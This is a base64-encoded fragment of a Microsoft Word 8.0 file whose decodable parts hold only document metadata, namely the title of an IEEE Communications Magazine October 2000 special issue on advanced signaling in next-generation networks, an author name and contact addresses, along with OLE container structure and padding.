AgAAGQ0AAAEABgAAAAQAAxAbAAAAAAAAAAAAAAABAAEAAAABAAAAAAAAACEDAPAQAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAKUGwAe0ALQAgAASMAAAEAAZAGQAAAAZAAAAFRAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC
AAAAAAD//xIAAAAAAAAAaQBJAEUARQBFACAAQwBvAG0AbQB1AG4AaQBjAGEAdABpAG8AbgBzACAA
TQBhAGcAYQB6AGkAbgBlACAATwBjAHQAbwBiAGUAcgAgADIAMAAwADAAIABTAHAAZQBjAGkAYQBs
ACAASQBzAHMAdQBlACAAbwBuACAAQQBkAHYAYQBuAGMAZQBkACAAUwBpAGcAbgBhAGwAaQBuAGcA
IABpAG4AIABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAE4AZQB0AHcAbwByAGsAcwAA
AAAAAAAGAFMATQBPAEgAQQBOAAYAUwBNAE8ASABBAE4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP7/AAAEAAIAAAAAAAAAAAAAAAAAAAAAAAEAAADghZ/y
+U9oEKuRCAArJ7PZMAAAAMwBAAARAAAAAQAAAJAAAAACAAAAmAAAAAMAAAAMAQAABAAAABgBAAAF
AAAAKAEAAAcAAAA0AQAACAAAAEQBAAAJAAAAVAEAABIAAABgAQAACgAAAHwBAAALAAAAiAEAAAwA
AACUAQAADQAAAKABAAAOAAAArAEAAA8AAAC0AQAAEAAAALwBAAATAAAAxAEAAAIAAADkBAAAHgAA
AGoAAABJRUVFIENvbW11bmljYXRpb25zIE1hZ2F6aW5lIE9jdG9iZXIgMjAwMCBTcGVjaWFsIElz
c3VlIG9uIEFkdmFuY2VkIFNpZ25hbGluZyBpbiBOZXh0IEdlbmVyYXRpb24gTmV0d29ya3MAbgAe
AAAAAQAAAABFRUUeAAAABwAAAFNNT0hBTgBtHgAAAAEAAAAATU9IHgAAAAcAAABOb3JtYWwAbR4A
AAAHAAAAU01PSEFOAG0eAAAAAgAAADIAT0geAAAAEwAAAE1pY3Jvc29mdCBXb3JkIDguMAAgQAAA
AAAAAAAAAAAAQAAAAABQTcFiyb4BQAAAAAAOrjScV78BQAAAAAAOrjScV78BAwAAAAEAAAADAAAA
TAIAAAMAAAAZDQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAD+/wAABAACAAAAAAAAAAAAAAAAAAAAAAACAAAAAtXN1ZwuGxCTlwgA
Kyz5rkQAAAAF1c3VnC4bEJOXCAArLPmunAEAAFgBAAAMAAAAAQAAAGgAAAAPAAAAcAAAAAUAAACE
AAAABgAAAIwAAAARAAAAlAAAABcAAACcAAAACwAAAKQAAAAQAAAArAAAABMAAAC0AAAAFgAAALwA
AAANAAAAxAAAAAwAAAA6AQAAAgAAAOQEAAAeAAAACQAAAEJlbGxjb3JlAABkAAMAAAAbAAAAAwAA
AAYAAAADAAAAFRAAAAMAAABqEAgACwAAAAAAAAALAAAAAAAAAAsAAAAAAAAACwAAAAAAAAAeEAAA
AQAAAGoAAABJRUVFIENvbW11bmljYXRpb25zIE1hZ2F6aW5lIE9jdG9iZXIgMjAwMCBTcGVjaWFs
IElzc3VlIG9uIEFkdmFuY2VkIFNpZ25hbGluZyBpbiBOZXh0IEdlbmVyYXRpb24gTmV0d29ya3MA
DBAAAAIAAAAeAAAABgAAAFRpdGxlAAMAAAABAAAApAEAAAQAAAAAAAAAKAAAAAEAAABSAAAAAgAA
AFoAAAADAAAAsgAAAAIAAAACAAAACgAAAF9QSURfR1VJRAADAAAADAAAAF9QSURfSExJTktTAAIA
AADkBAAAQQAAAE4AAAB7ADMARQAzADUARgAzADYAMQAtAEMAMgBEADcALQAxADEARAAzAC0AOQA5
ADIAOAAtADAAMABDADAANABGAEEARAA5AEUAMwA1AH0AAAAAAEEAAADoAAAADAAAAAMAAAAwAAMA
AwAAAAMAAAADAAAAAAAAAAMAAAAFAAAAHwAAABwAAABtAGEAaQBsAHQAbwA6AHMAbQBvAGgAYQBu
AEAAdABlAGwAYwBvAHIAZABpAGEALgBjAG8AbQAAAB8AAAABAAAAAAAAAAMAAAB0AAgAAwAAAAAA
AAADAAAAAAAAAAMAAAAFAAAAHwAAACIAAABtAGEAaQBsAHQAbwA6AG0AbwBkAGEAcgBAAGIAcgBp
AGQAZwBlAC4AYgBlAGwAbABzAG8AdQB0AGgALgBjAG8AbQAAAB8AAAABAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAQAAAAIAAAADAAAABAAAAAUAAAAGAAAABwAAAAgAAAAJAAAACgAAAAsAAAAMAAAA
DQAAAA4AAAD+////EAAAABEAAAASAAAAEwAAABQAAAAVAAAAFgAAAP7///8YAAAAGQAAABoAAAAb
AAAAHAAAAB0AAAAeAAAA/v///yAAAAAhAAAAIgAAACMAAAAkAAAAJQAAACYAAAD+////KAAAACkA
AAAqAAAAKwAAACwAAAAtAAAALgAAAP7////9////MQAAAP7////+/////v//////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//////////9SAG8AbwB0ACAARQBuAHQAcgB5AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAFgAFAf//////////AwAAAAYJAgAAAAAAwAAAAAAAAEYAAAAAYKgZVpxX
vwHgkwxXnFe/ATMAAACAAAAAAAAAAEQAYQB0AGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKAAIB////////////////AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADwAAAAAQAAAAAAAAMQBUAGEAYgBsAGUAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAgABAAAA////////
//8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXAAAAABAAAAAAAABXAG8AcgBk
AEQAbwBjAHUAbQBlAG4AdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
GgACAQYAAAAFAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAe
HAAAAAAAAAUAUwB1AG0AbQBhAHIAeQBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAoAAIB////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAHwAAAAAQAAAAAAAABQBEAG8AYwB1AG0AZQBuAHQAUwB1AG0AbQBhAHIAeQBJAG4A
ZgBvAHIAbQBhAHQAaQBvAG4AAAAAAAAAAAAAADgAAgEEAAAA//////////8AAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAnAAAAABAAAAAAAAABAEMAbwBtAHAATwBiAGoAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgACAQIAAAAHAAAA////
/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABqAAAAAAAAAE8AYgBqAGUA
YwB0AFAAbwBvAGwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAW
AAEA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAADgkwxXnFe/AeCTDFecV78BAAAAAAAA
AAAAAAAAAQAAAP7/////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////
//////8BAP7/AwoAAP////8GCQIAAAAAAMAAAAAAAABGGAAAAE1pY3Jvc29mdCBXb3JkIERvY3Vt
ZW50AAoAAABNU1dvcmREb2MAEAAAAFdvcmQuRG9jdW1lbnQuOAD0ObJxAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
